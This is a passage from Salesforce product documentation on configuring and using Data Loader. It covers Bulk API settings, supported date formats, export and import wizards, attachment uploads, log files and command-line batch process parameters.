Select this option to use serial instead of parallel processing for Bulk API. Processing in parallel can cause database contention. When this is severe, the load may fail. Using serial mode guarantees that batches are processed one at a time. Note that using this option may significantly increase the processing time for a load. This option is only available if the Use Bulk API option is selected.

Upload Bulk API Batch as Zip File

Select this option to use Bulk API to upload zip files containing binary attachments, such as Attachment records or Salesforce CRM Content. This option is only available if the Use Bulk API option is selected.

850

Data Management

Configuring Data Loader

Field
Time Zone

Description Select this option to specify a default time zone. If a date value does not include a time zone, this value is used. If no value is specified, the time zone of the computer where Data Loader is installed is used. If an incorrect value is entered, GMT is used as the time zone and this fact is noted in the Data Loader log.

Valid values are any time zone identifier which can be passed to the Java getTimeZone(java.lang.String) method. The value can be a full name such as America/Los_Angeles, or a custom ID such as GMT-8:00.
Proxy host Proxy port Proxy username Proxy password Proxy NTLM domain

The host name of the proxy server, if applicable. The proxy server port. The username for proxy server authentication. The password for proxy server authentication. The name of the Windows domain used for NTLM authentication. If your last operation failed, you can use this setting to begin where the last successful operation finished.

Start at row

4. Click OK to save your settings.

See Also:
Why do date fields import incorrectly when I use the Data Loader?

Data Loader Behavior with Bulk API Enabled


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Enabling the Bulk API in Data Loader allows you to load or delete a large number of records faster than using the default SOAP-based API. However, there are some differences in behavior in Data Loader when you enable the Bulk API. One important difference is that it allows you to execute a hard delete if you have the permission and license. See Configuring Data Loader on page 848. The following settings are not available on the Settings > Settings page in Data Loader when the Use Bulk API option is selected:

851

Data Management

Uninstalling the Data Loader

Insert null values

This option enables Data Loader to insert blank mapped values as null values during data operations when the Bulk API is disabled. Empty field values are ignored when you update records using the Bulk API. To set a field value to null when the Use Bulk API option is selected, use a field value of #N/A.
Allow field truncation

This option directs Data Loader to truncate data for certain field types when the Bulk API is disabled. A load operation fails for the row if a value is specified that is too large for the field when the Use Bulk API option is selected.

Configuring the Data Loader to Use the Bulk API


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The Bulk API is optimized to load or delete a large number of records asynchronously. It is faster than the SOAP-based API due to parallel processing and fewer network round-trips. By default, Data Loader uses the SOAP-based API to process records. To configure Data Loader to use the Bulk API for inserting, updating, upserting, deleting, and hard deleting records: 1. 2. 3. 4. Start Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader. Choose Settings > Settings. Select the Use Bulk API option. Click OK. Note: You can also select the Enable serial mode for Bulk API option. Processing in parallel can cause database contention. When this is severe, the load may fail. Using serial mode guarantees that batches are processed one at a time. Note that using this option may significantly increase the processing time for a load. Warning: When you select the Hard Delete operation, the deleted records are not stored in the Recycle Bin. Instead, they become immediately eligible for deletion. The permission for this operation, Bulk API Hard Delete, is disabled by default and must be enabled by an administrator. A Salesforce user license is required for hard delete.

Uninstalling the Data Loader


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

To uninstall the Data Loader client application: 1. Go to Start > Control Panel > Add or Remove Programs. 2. Select the Data Loader program. 3. Click Remove. The uninstaller removes the program from your computer.

852

Using Data Loader

Data Types Supported by Data Loader

USING DATA LOADER


Data Types Supported by Data Loader
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Data Loader supports the following data types: Base64 String path to file (converts the file to a base64encoded array). Base64 fields are only used to insert or update attachments and Salesforce CRM Content. For more information, see Uploading Attachments on page 859 and Uploading Content with the Data Loader on page 860. Boolean True values (case insensitive) = yes, y, true, on, 1 False values (case insensitive) = no, n, false, off, 0

Date Formats We recommend you specify dates in the format yyyy-MM-ddTHH:mm:ss.SSS+/-HHmm:


yyyy is the four-digit year MM is the two-digit month (01-12) dd is the two-digit day (01-31) HH is the two-digit hour (00-23) mm is the two-digit minute (00-59) ss is the two-digit seconds (00-59) SSS is the three-digit milliseconds (000-999) +/-HHmm is the Zulu (UTC) time zone offset

The following date formats are also supported:


yyyy-MM-dd'T'HH:mm:ss.SSS'Z' yyyy-MM-dd'T'HH:mm:ss.SSS Pacific Standard Time yyyy-MM-dd'T'HH:mm:ss.SSSPacific Standard Time yyyy-MM-dd'T'HH:mm:ss.SSS PST yyyy-MM-dd'T'HH:mm:ss.SSSPST yyyy-MM-dd'T'HH:mm:ss.SSS GMT-08:00 yyyy-MM-dd'T'HH:mm:ss.SSSGMT-08:00 yyyy-MM-dd'T'HH:mm:ss.SSS -800 yyyy-MM-dd'T'HH:mm:ss.SSS-800 yyyy-MM-dd'T'HH:mm:ss

853

Data Management

Data Types Supported by Data Loader

yyyy-MM-dd HH:mm:ss yyyyMMdd'T'HH:mm:ss yyyy-MM-dd MM/dd/yyyy HH:mm:ss MM/dd/yyyy

Note the following tips for date formats: To enable date formats that begin with the day rather than the month, select the Use European date format box in the Settings dialog. European date formats are dd/MM/yyyy and dd/MM/yyyy HH:mm:ss. If your computer's locale is east of Greenwich Mean Time (GMT), we recommend that you change your computer setting to GMT in order to avoid date adjustments when inserting or updating records. Only dates within a certain range are valid. The earliest valid date is 1700-01-01T00:00:00Z GMT, or just after midnight on January 1, 1700. The latest valid date is 4000-12-31T00:00:00Z GMT, or just after midnight on December 31, 4000. Note: These values are offset by your time zone. For example, in the Pacific time zone, the earliest valid date is 1699-12-31T16:00:00, or 4:00 PM on December 31, 1699.

Double Standard double string ID A Salesforce ID is a case-sensitive 15-character or caseinsensitive 18-character alphanumeric string that uniquely identifies a particular record. Tip: To ensure data quality, make sure that all Salesforce IDs you enter in Data Loader are in the correct case.

Integer Standard integer string String All valid XML strings; invalid XML characters are removed.

854

Data Management

Exporting Data

Exporting Data
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To export records: To export all records: Read on the records Read on the records

You can use the Data Loader export wizard to extract data from any Salesforce object. When you export, you can choose to include (Export All) or exclude (Export) soft-deleted records. 1. Start the Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader. 2. Click Export or Export All . These commands can also be found in the File menu. 3. Enter your Salesforce username and password. Click Log in to log in. After your login completes successfully, click Next. (Until you log out or close the program, you will not be asked to log in again.) If your organization restricts IP addresses, logins from untrusted IPs are blocked until theyre activated. Salesforce automatically sends you an activation email that you can use to log in. The email contains a security token that you must add to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX, you must enter mypasswordXXXXXXXXXX to log in. 4. Choose an object. For example, select the Account object. If your object name does not display in the default list, check Show all objects to see a complete list of objects that you can access. The objects will be listed by localized label name, with developer name noted in parentheses. For object descriptions, see the SOAP API Developer's Guide. 5. Click Browse... to select the CSV file to which the data will be exported. You can enter a new file name to create a new file or choose an existing file. If you select an existing file, the contents of that file are replaced. Click Yes to confirm this action, or click No to choose another file. 6. Click Next. 7. Create a SOQL query for the data export. For example, check Id and Name in the query fields and click Finish. As you follow the next steps, you will see that the CSV viewer displays all the Account names and their IDs. SOQL is the Salesforce Object Query Language that allows you to construct simple but powerful query strings. Similar to the SELECT command in SQL, SOQL allows you to specify the source object, a list of fields to retrieve, and conditions for selecting rows in the source object. a. Choose the fields you want to export. b. Optionally, select conditions to filter your data set. If you do not select any conditions, all the data to which you have read access will be returned. c. Review the generated query and edit if necessary. Tip: You can use a SOQL relationship query to include fields from a related object. For example:
Select Name, Pricebook2Id, Pricebook2.Name, Product2Id, Product2.ProductCode FROM PricebookEntry WHERE IsActive = true

855

Data Management

Defining Field Mappings

Or:
Select Id, LastName, Account.Name FROM Contact

When using relationship queries in Data Loader, the fully specified field names are case-sensitive. For example, using ACCOUNT.NAME instead of Account.Name does not work. Data Loader doesnt support nested queries or querying child objects. For example, queries similar to the following return an error:
SELECT Amount, Id, Name, (SELECT Quantity, ListPrice, PriceBookEntry.UnitPrice, PricebookEntry.Name, PricebookEntry.product2.Family FROM OpportunityLineItems) FROM Opportunity

Also, Data Loader doesnt support queries that make use of polymorphic relationships. For example, the following query results in an error:
SELECT Id, Owner.Name, Owner.Type, Owner.Id, Subject FROM Case

For more information on SOQL, see the Force.com SOQL and SOSL Reference. 8. Click Finish, then click Yes to confirm. 9. A progress information window reports the status of the operation. 10. After the operation completes, a confirmation window summarizes your results. Click View Extraction to view the CSV file, or click OK to close. For more details, see Reviewing Output Files on page 861. Note: Data Loader currently does not support the extraction of attachments. As a workaround, we recommend that you use the weekly export feature in the online application to export attachments.

See Also:
How do I update fields with blank values?

Defining Field Mappings


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Whenever you insert, delete, or update files, use the Mapping Dialog window to associate Salesforce fields with the columns of your CSV file. For more information, see Inserting, Updating, or Deleting Data Using Data Loader on page 857. 1. To automatically match fields with columns, click Auto-Match Fields to Columns. The Data Loader automatically populates the list at the bottom of the window, based on the similarity of field and column names. Note that for a delete operation, automatic matching works only on the ID field. 2. To manually match fields with columns, click and drag fields from the list of Salesforce fields at the top to the list of CSV column header names at the bottom. For example, if you are inserting new Account records where your CSV file contains the names of new accounts, click and drag the Name field to the right of the NAME column header field.

856

Data Management

Inserting, Updating, or Deleting Data Using Data Loader

3. Optionally, click Save Mapping to save this mapping for future use. Specify a name for the SDL mapping file. If you select an existing file, the contents of that file are replaced. Click Yes to confirm this action, or click No to choose another file. 4. Click OK to use your mapping for the current operation.

Inserting, Updating, or Deleting Data Using Data Loader


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To insert records: To update records: To upsert records: To delete records: To hard delete records Create on the record Edit on the record Create or Edit on the record Delete on the record Delete on the record

The insert, update, upsert, delete, and hard delete wizards in Data Loader allow you to add new records, modify existing records, or delete existing records. Note that upsert is a combination of inserting and updating. If a record in your file matches an existing record, the existing record is updated with the values in your file. If no match is found, then the record is created as new. When you hard delete records, the deleted records are not stored in the Recycle Bin and become immediately eligible for deletion. For more information, see Configuring Data Loader on page 848. 1. Start Data Loader by choosing Start > Programs > salesforce.com > Data Loader > Data Loader. 2. Click Insert, Update, Upsert, Delete or Hard Delete. These commands can also be found in the File menu. 3. Enter your Salesforce username and password. Click Log in to log in. After your login completes successfully, click Next. (Until you log out or close the program, you are not asked to log in again.) If your organization restricts IP addresses, logins from untrusted IPs are blocked until theyre activated. Salesforce automatically sends you an activation email that you can use to log in. The email contains a security token that you must add to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX, you must enter mypasswordXXXXXXXXXX to log in. 4. Choose an object. For example, if you are inserting Account records, select Account. If your object name does not display in the default list, check Show all objects to see a complete list of the objects that you can access. The objects are listed by localized label name, with developer name noted in parentheses. For object descriptions, see the Object Reference for Salesforce and Force.com. 5. Click Browse... to select your CSV file. For example, if you are inserting Account records, you could specify a CSV file named insertaccounts.csv containing a Name column for the names of the new accounts. 6. Click Next. After the object and CSV file are initialized, click OK. 7. If you are performing an upsert: a. Your CSV file must contain a column of ID values for matching against existing records. The column may be either an external ID (a custom field with the External ID attribute), or Id (the Salesforce record ID). From the drop-down

857

Data Management

Inserting, Updating, or Deleting Data Using Data Loader

list, select which field to use for matching. If the object has no external ID fields, Id is automatically used. For more information on external IDs, see Custom Field Attributes on page 1099. Click Next to continue. b. If your file includes the external IDs of an object that has a relationship to your chosen object, enable that external ID for record matching by selecting its name from the drop-down list. If you make no selection here, you can use the related object's Id field for matching by mapping it in the next step. Click Next to continue. 8. Define how the columns in your CSV file map to Salesforce fields. Click Choose an Existing Map to select an existing field mapping, or click Create or Edit a Map to create a new map or modify an existing map. For more details and an example of usage, see Defining Field Mappings on page 856. 9. Click Next. 10. For every operation, the Data Loader generates two unique CSV log files; one file name starts with success, while the other starts with error. Click Browse... to specify a directory for these files. 11. Click Finish to perform the operation, and then click Yes to confirm. 12. As the operation proceeds, a progress information window reports the status of the data movement. 13. After the operation completes, a confirmation window summarizes your results. Click View Successes to view your success file, click View Errors to open your errors file, or click OK to close. For more information, see Reviewing Output Files on page 861. Tip: If you are updating or deleting large amounts of data, review Performing Mass Updates and Performing Mass Deletes for tips and best practices. There is a five-minute limit to process 100 records when the Bulk API is enabled. Also, if it takes longer than 10 minutes to process a file, the Bulk API places the remainder of the file back in the queue for later processing. If the Bulk API continues to exceed the 10-minute limit on subsequent attempts, the file is placed back in the queue and reprocessed up to 10 times before the operation is permanently marked as failed. Even if the processing failed, some records could have completed successfully, so you must check the results. If you get a timeout error when loading a file, split your file into smaller files, and try again.

Performing Mass Updates


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

To update a large number of records at one time, we recommend the following steps: 1. Obtain your data by performing an export of the objects you wish to update, or by running a report. See Exporting Data on page 855, or Running Reports on page 3073. Make sure your report includes the record ID. 2. As a backup measure, save an extra copy of the generated CSV file. 3. Open your working file in a CSV editor such as Excel, and update your data. 4. Launch Data Loader and follow the update wizard. Note that matching is done according to record ID. See Inserting, Updating, or Deleting Data Using Data Loader on page 857. 5. After the operation, review your success and error log files. See Reviewing Output Files on page 861.

858

Data Management

Uploading Attachments

6. If you made a mistake, use the backup file to update the records to their previous values.

See Also:
How do I perform mass updates to records?

Performing Mass Deletes


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

To delete a large number of records at one time using Data Loader, we recommend the following steps: 1. As a backup measure, export the records you wish to delete, being sure to select all fields. (See Exporting Data on page 855.) Save an extra copy of the generated CSV file. 2. Next, export the records you wish to delete, this time using only the record ID as the desired criterion. 3. Launch the Data Loader and follow the delete or hard delete wizard. Map only the ID column. See Inserting, Updating, or Deleting Data Using Data Loader on page 857. 4. After the operation, review your success and error log files. See Reviewing Output Files on page 861.

Uploading Attachments
You can use Data Loader to upload attachments to Salesforce. Before uploading attachments, note the following: If you intend to upload via the Bulk API, verify that Upload Bulk API Batch as Zip File on the Settings > Settings page is enabled. If you are migrating attachments from a source Salesforce organization to a target Salesforce organization, begin by requesting a data export for the source organization. On the Schedule Export page, make sure to select the Include Attachments... checkbox, which causes the file Attachment.csv to be included in your export. You can use this CSV file to upload the attachments. For more information on the export service, see Exporting Backup Data on page 767.

To upload attachments: 1. Confirm that the CSV file you intend to use for attachment importing contains the following required columns (each column represents a Salesforce field):
ParentId - the Salesforce ID of the parent record. Name - the name of the attachment file, such as myattachment.jpg. Body - the absolute path to the attachment on your local drive.

Ensure that the values in the Body column contain the full file name of the attachments as they exist on your computer. For example, if an attachment named myattachment.jpg is located on your computer at C:\Export, Body must specify C:\Export\myattachment.jpg. Your CSV file might look like this:
ParentId,Name,Body 50030000000VDowAAG,attachment1.jpg,C:\Export\attachment1.gif 701300000000iNHAAY,attachment2.doc,C:\Export\files\attachment2.doc

859

Data Management

Uploading Content with the Data Loader

The CSV file can also include other optional Attachment fields, such as Description. 2. Proceed with an insert or upsert operation; see Inserting, Updating, or Deleting Data Using Data Loader on page 857. At the Select data objects step, make sure to select the Show all Salesforce objects checkbox and the Attachment object name in the list.

Uploading Content with the Data Loader


Available in: Enterprise, Unlimited, and Developer Editions

You can use Data Loader to bulk upload documents and links into libraries in Salesforce CRM Content. Before uploading documents or links, note the following: If you intend to upload via the Bulk API, verify that Upload Bulk API Batch as Zip File on the Settings > Settings page is enabled. When you upload a document from your local drive using Data Loader, you must specify the actual path in the VersionData and PathOnClient fields in the CSV file. VersionData identifies the location and extracts the format and PathOnClient identifies the type of document being uploaded. When you upload a link using the Data Loader, you must specify the URL in ContentUrl. Do not use PathOnClient or VersionData to upload links. You can't export content using the Data Loader.

1. Create a CSV file with the following fields:


Title - file name. Description - (optional) file or link description.

Note: If there are commas in the description, use double quotes around the text.

VersionData - complete file path on your local drive (for uploading documents only).

Note: Files are converted to base64 encoding on upload. This adds approximately 30% to the file size.

PathOnClient - complete file path on your local drive (for uploading documents only). ContentUrl - URL (for uploading links only). OwnerId - (optional) file owner, defaults to the user uploading the file. FirstPublishLocationId - library ID. RecordTypeId - content type ID.

Note: If you publish to a library that has restricted content types, you must specify RecordTypeId.

860

Data Management

Reviewing Output Files

To determine the RecordTypeId values for your organization using Data Loader, follow the steps in Exporting Data. Your SOQL query might look like this:
Select Id, Name FROM RecordType WHERE SobjectType = 'ContentVersion'

To determine the RecordTypeId values for your organization using the AJAX Toolkit: a. Log in to Salesforce. b. Enter this URL in your browser:
http://instanceName.salesforce.com/soap/ajax/26.0/debugshell.html. Enter the instanceName, such as na1, for your organization. You can see the instanceName in the URL field of your browser after logging

in to Salesforce. c. In the AJAX Toolkit Shell page type:


sforce.connection.describeSObject("ContentVersion")

d. Press Enter. e. Click on the arrows for recordTypeInfos. All of the RecordTypeId values for your organization are listed.
TagsCsv - (optional) tag.

A sample CSV file is:


Title,Description,VersionData,PathOnClient,OwnerId,FirstPublishLocationId,RecordTypeId,TagsCsv testfile,"This is a test file, use for bulk upload",c:\files\testfile.pdf,c:\files\testfile.pdf,005000000000000,058700000004Cd0,012300000008o2sAQG,one

2. Upload the CSV file for the ContentVersion object; see Inserting, Updating, or Deleting Data Using Data Loader on page 857. All documents and links will be available in the specified library.

Reviewing Output Files


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

After every import or export, Data Loader generates two CSV output files that contain the results of the operation. One file name starts with success, while the other starts with error. During every export, Data Loader saves the extracted data to a CSV file that you specify in the wizard. Data Loader has a built-in CSV file viewer with which you can open and view these files. To view output files from a Data Loader operation: 1. Choose View > View CSV. 2. Specify the number of rows to view. Each row in the CSV file corresponds to one Salesforce record. The default is 1000. 3. To view a CSV file of your choice, click Open CSV. To view the last success file, click Open Success. To view the last error file, click Open Error. The CSV file opens in a new window. 4. Optionally, click Open in External Program to open the file in the associated external program, such as Microsoft Office Excel.

861

Running Batch Processes

Troubleshooting Data Loader Operations

The success file contains all of the records that were successfully loaded. In this file, there's a column for the newly generated record IDs. The error file contains all of the records that were rejected from the load operation. In this file, there's a column that describes why the load failed. 5. Click Close to return to the CSV Chooser window, and then click OK to exit the window. Note: To generate success files when exporting data, select the Generate status files for exports setting. For more information, see Configuring Data Loader on page 848.

Troubleshooting Data Loader Operations


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

If you need to investigate a problem with Data Loader, or if requested by salesforce.com Customer Support, you can access log files that track the operations and network connections made by Data Loader. The two log files are: sdl.log Contains a detailed chronological list of Data Loader log entries. Log entries marked INFO are procedural items, such as logging in to Salesforce. Log entries marked ERROR are problems such as a submitted record missing a required field. sdl_out.log A supplemental log that contains additional information not captured in sdl.log. For example, it includes log entries for the creation of proxy server network connections. These files can be opened with commonly available text editor programs, such as Microsoft Notepad. You can quickly open these files by entering %TEMP%\sdl.log and %TEMP%\sdl_out.log in either the Run dialog or the Windows Explorer address bar. If you are having login issues from the command line, ensure that the password provided in the configuration parameters is encrypted. If you are having login issues from the UI, you may need to obtain a new security token.

RUNNING BATCH PROCESSES


Running in Batch Mode
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

You can run Data Loader in batch mode from the command line. See the following topics: Understanding Installed Directories and Files Encrypting From the Command Line

862

Data Management

Understanding Installed Directories and Files

Upgrading Your Batch Mode Interface Using the Command Line Interface Configuring Batch Processes Data Loader Process Configuration Parameters Data Loader Command Line Operations Configuring Database Access Mapping Columns Running Individual Batch Processes Data Access Objects Note: If you have used the batch mode from the command line with a version earlier than 8.0, see Upgrading Your Batch Mode Interface on page 864.

Understanding Installed Directories and Files


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

In versions 8.0 and later, installing the Data Loader creates several directories under the installation directory. The following directories are involved in running the program from the command line for automated batch processing: bin Contains the batch files encrypt.bat for encrypting passwords and process.bat for running batch processes. For information on running the Data Loader from the command line, see Using the Command Line Interface on page 865. conf The default configuration directory. Contains the configuration files config.properties, Loader.class, and log-conf.xml. The config.properties file that is generated when you modify the Settings dialog in the graphical user interface is located at C:\Documents and Settings\your Windows username\Application Data\salesforce.com\Data Loader version_number. You can copy this file to the conf installation directory to use it for batch processes. samples Contains subdirectories of sample files for reference. File Path Convention The file paths provided in these topics start one level below the installation directory. For example, \bin means C:\Program Files \salesforce.com\Data Loader version_number\bin, provided you accepted the default installation directory. If you installed the program to a different location, please substitute that directory path as appropriate.

863

Data Management

Encrypting From the Command Line

Encrypting From the Command Line


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When running Data Loader in batch mode from the command line, you must encrypt the following configuration parameters:
sfdc.password sfdc.proxyPassword

Use the utility described below to perform encryption. Using the Encryption Utility Data Loader offers an encryption utility to secure passwords specified in configuration files. This utility is used to encrypt passwords, but data that you transmit using Data Loader is not encrypted. 1. Run \bin\encrypt.bat. 2. At the command line, follow the prompts provided to execute the following actions: Generate a key Key text is generated on screen from the text you provide. Carefully copy the key text to a key file, omitting any leading or trailing spaces. The key file can then be used for encryption and decryption. Encrypt text Generates an encrypted version of a password or other text. Optionally, you can provide a key file for the encryption. In the configuration file, make sure that the encrypted text is copied precisely and the key file is mentioned. Verify encrypted text Given encrypted and decrypted versions of a password, verifies whether the encrypted password provided matches its decrypted version. A success or failure message is printed to the command line.

Upgrading Your Batch Mode Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The batch mode interface in Data Loader versions 8.0 and later arent backwards-compatible with earlier versions. If youre using a version earlier than 8.0 to run batch processes, your options are as follows: Maintain the old version for batch use Do not uninstall your old version of Data Loader. Continue to use that version for batch processes. You cant take advantage of newer features such as database connectivity, but your integrations will continue to work. Optionally, install the new version alongside the old version and dedicate the old version solely to batch processes.

864

Data Management

Using the Command Line Interface

Generate a new config.properties file from the new GUI If you originally generated your config.properties file from the graphical user interface, use the new version to set the same properties and generate a new file. Use this new file with the new batch mode interface. For more information, see Using the Command Line Interface on page 865. Manually update your config.properties file If your old config.properties file was created manually, then you must manually update it for the new version. For more information, see Understanding Installed Directories and Files on page 863.

Using the Command Line Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

For automated batch operations such as nightly scheduled loads and extractions, run Data Loader from the command line. Before running any batch operation, be sure to include your encrypted password in the configuration file. For more information, see Command Line Quick Start on page 881 and Encrypting From the Command Line on page 864. From the command line, navigate to the bin directory and type process.bat, which takes the following parameters: The directory containing config.properties. The name of the batch process bean contained in process-conf.xml.

For more information about using process.bat, see Running Individual Batch Processes on page 880. To view tips and instructions, add -help to the command contained in process.bat. Data Loader runs whatever operation, file, or map is specified in the configuration file that you specify. If you do not specify a configuration directory, the current directory is used. By default, Data Loader configuration files are installed at the following location:
C:\Program Files\salesforce.com\Data Loader version number\conf

You use the process-conf.xml file to configure batch processing. Set the name of the process in the bean element's id attribute: (for example <bean id="myProcessName">). If you want to implement enhanced logging, use a copy of log-conf.xml. You can change parameters at runtime by giving param=value as program arguments. For example, adding process.operation=insert to the command changes the configuration at runtime. You can set the minimum and maximum heap size. For example, -Xms256m -Xmx256m sets the heap size to 256 MB. Note: These topics only apply to Data Loader version 8.0 and later.

Tip: If you experience login issues in the command line interface after upgrading to a new version of Data Loader, please try re-encrypting your password to solve the problem. For information on the password encryption utility, see Encrypting From the Command Line on page 864.

865

Data Management

Configuring Batch Processes

Configuring Batch Processes


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Use \samples\conf\process-conf.xml to configure your Data Loader processes, which are represented by ProcessRunner beans. A process should have ProcessRunner as the class attribute and the following properties set in the configuration file: name Sets the name of the ProcessRunner bean. This value is also used as the non-generic thread name and for configuration backing files (see below). configOverrideMap A property of type map where each entry represents a configuration setting: the key is the setting name; the value is the setting value. enableLastRunOutput If set to true (the default), output files containing information about the last run, such as sendAccountsFile_lastrun.properties, are generated and saved to the location specified by lastRunOutputDirectory. If set to false, the files are not generated or saved. lastRunOutputDirectory The directory location where output files containing information about the last run, such as sendAccountsFile_lastrun.properties, are written. The default value is \conf. If enableLastRunOutput is set to false, this value is not used because the files are not generated. The configuration backing file stores configuration parameter values from the last run for debugging purposes, and is used to load default configuration parameters in config.properties. The settings in configOverrideMap take precedence over those in the configuration backing file. The configuration backing file is managed programmatically and does not require any manual edits. For the names and descriptions of available process configuration parameters, see Data Loader Process Configuration Parameters on page 866.

Data Loader Process Configuration Parameters


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When running Data Loader from the command line, you can specify the following configuration parameters in the process-conf.xml file. In some cases, the parameter is also represented in the graphical user interface at Settings > Settings. Tip: A sample process-conf.xml file can be found in the \samples directory that's installed with Data Loader.

866

Data Management

Data Loader Process Configuration Parameters

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

Select this option to force files to open in UTF-8


Read all encoding, even if they were saved in a different CSVs with format. UTF-8 encoding Sample value: true Write all Select this option to force files to be written in CSVs with UTF-8 encoding. UTF-8 encoding Sample value: true

dataAccess.readUTF8

boolean

dataAccess.writeUTF8

boolean

dataAccess.name

string

Not applicable (N/A)

Name of the data source to use, such as a CSV file name. For databases, use the name of the database configuration in database-conf.xml. Sample value:
c:\dataloader\data\extractLead.csv

Number of records read from the database at a time. The maximum value is 200.
dataAccess.readBatchSize

integer

N/A

Sample value: 50 Standard or custom data source type. Standard types are csvWriter, csvRead, databaseWrite, and databaseRead.

dataAccess.type

string

N/A

Sample value: csvWrite Number of records written to the database at a time. The maximum value is 2,000. Note the implication for a large parameter value: if an error occurs, all records in the batch are rolled back. In contrast, if the value is set to 1, each record is processed individually (not in batch) and errors are specific to a given record. We recommend setting the value to 1 when you need to diagnose problems with writing to a database.

dataAccess.writeBatchSize

integer

N/A

Sample value: 500

process.enableExtractSuccessOutput

boolean

Generate Select this option to generate success and error status files when exporting data. files for Sample value: true exports

process.enableLastRunOutput

boolean

N/A

When running Data Loader in batch mode, you can disable the generation of output files such as sendAccountsFile_lastRun.properties.

867

Data Management

Data Loader Process Configuration Parameters

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

Files of this type are saved by default to the conf directory. To stop the writing of these files, set this option to false. Alternatively, you can change the location of the directory where these files are saved, using process.lastRunOutputDirectory. Sample value: true Name of the file that contains the encryption key. See Encrypting From the Command Line on page 864. N/A Sample value: c:\dataloader\conf\my.key The initial setting for the
process.lastRunDate parameter, which can

process.encryptionKeyFile

string (file name)

be used in a SQL string and is automatically updated when a process has run successfully. For an explanation of the date format syntax, see Date Formats on page 853. Format must be
yyyy-MM-ddTHH:mm:ss.SSS+/-HHmm. For process.initialLastRunDate

date

N/A

example: 2006-04-13T13:50:32.423-0700 When running Data Loader in batch mode, you can change the location where output files such as
sendAccountsFile_lastRun.properties

are written. Files of this type are saved by default to the \conf directory. To change the location, change the value of this option to the full path where the output files should be written. string (directory) N/A Alternatively, you can stop the files from being written, using process.enableLastRunOutput. If your last operation failed, you can use this setting to begin where the last successful operation finished.
process.loadRowToStartAt

process.lastRunOutputDirectory

number

Start at row

Sample value: 1008

868

Data Management

Data Loader Process Configuration Parameters

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

process.mappingFile

string (file name)

Name of the field mapping file to use. See Mapping Columns on page 879. Sample value: N/A
c:\dataloader\conf\accountExtractMap.sdl

The operation to perform. See Data Loader Command Line Operations on page 874.
process.operation

string

N/A

Sample value: extract The directory where success and error output files are saved. The file names are automatically generated for each operation unless you specify otherwise in process-conf.xml. Sample value: c:\dataloader\status The name of the CSV file that stores error data from the last operation. Sample value:

process.statusOutputDirectory

string (directory) N/A

process.outputError

string (file name)

N/A

c:\dataloader\status\myProcessErrors.csv

The name of the CSV file that stores success data from the last operation. See also
process.enableExtractSuccessOutput

process.outputSuccess

string (file name)

on page 867. Sample value: N/A


Use European date format c:\dataloader\status\myProcessSuccesses.csv

Select this option to support the date formats dd/MM/yyyy and dd/MM/yyyy HH:mm:ss. Sample value: true Specify the ID of the assignment rule to use for inserts, updates, and upserts. This option applies to inserts, updates, and upserts on cases and leads. It also applies to updates on accounts if your organization has territory assignment rules on accounts. The assignment rule overrides Owner values in your CSV file.

process.useEuropeanDates

boolean

sfdc.assignmentRule

string integer

Assignment Sample value: 03Mc00000026J7w rule

sfdc.bulkApiCheckStatusInterval

N/A

The number of milliseconds to wait between successive checks to determine if the asynchronous

869

Data Management

Data Loader Process Configuration Parameters

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

Bulk API operation is complete or how many records have been processed. See also sfdc.useBulkApi. We recommend a value of 5000. Sample value: 5000 Select this option to use serial instead of parallel processing for Bulk API. Processing in parallel can cause database contention. When this is severe, the load may fail. Using serial mode guarantees that batches are processed one at a time. Note that using this option may significantly increase the processing time for a load. See also sfdc.useBulkApi. Sample value: false Select this option to use Bulk API to upload zip files containing binary attachments, such as Attachment records or Salesforce CRM Content. See also sfdc.useBulkApi. Sample value: true The number of seconds to wait for a connection during API calls.
sfdc.connectionTimeoutSecs

sfdc.bulkApiSerialMode

boolean

Enable serial mode for Bulk API

sfdc.bulkApiZipContent

boolean

Upload Bulk API Batch as Zip File

integer

N/A

Sample value: 60 If true, enables SOAP message debugging. By default, messages are sent to STDOUT unless you specify an alternate location in sfdc.debugMessagesFile.

sfdc.debugMessages

boolean

N/A

Sample value: false See


process.enableExtractSuccessOutput

sfdc.debugMessagesFile

string (file name)

on page 867. Stores SOAP messages sent to or from Salesforce. As messages are sent or received, they are appended to the end of the file. As the file does not have a size limit, please monitor your available disk storage appropriately. Sample value: N/A
\lexiloader\status\sfdcSoapTrace.log

870

Data Management

Data Loader Process Configuration Parameters

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

If true, enables repeated attempts to connect to Salesforce servers. See sfdc.maxRetries on page 872 and sfdc.minRetrySleepSecs on page 872.
sfdc.enableRetries

boolean

N/A

Sample value: true Enter the URL of the Salesforce server with which you want to communicate. For example, if you are loading data into a sandbox, change the URL to https://test.salesforce.com.

sfdc.endpoint

URL

Server host

Sample production value:


https://login.salesforce.com/services/Soap/u/26.0

The Salesforce object used in the operation.


sfdc.entity

string

N/A

Sample value: Lead Used in upsert operations; specifies the custom field with the External ID attribute that is used as a unique identifier for data matching. For more information about external IDs, see Custom Field Attributes on page 1099.

sfdc.externalIdField

string

N/A

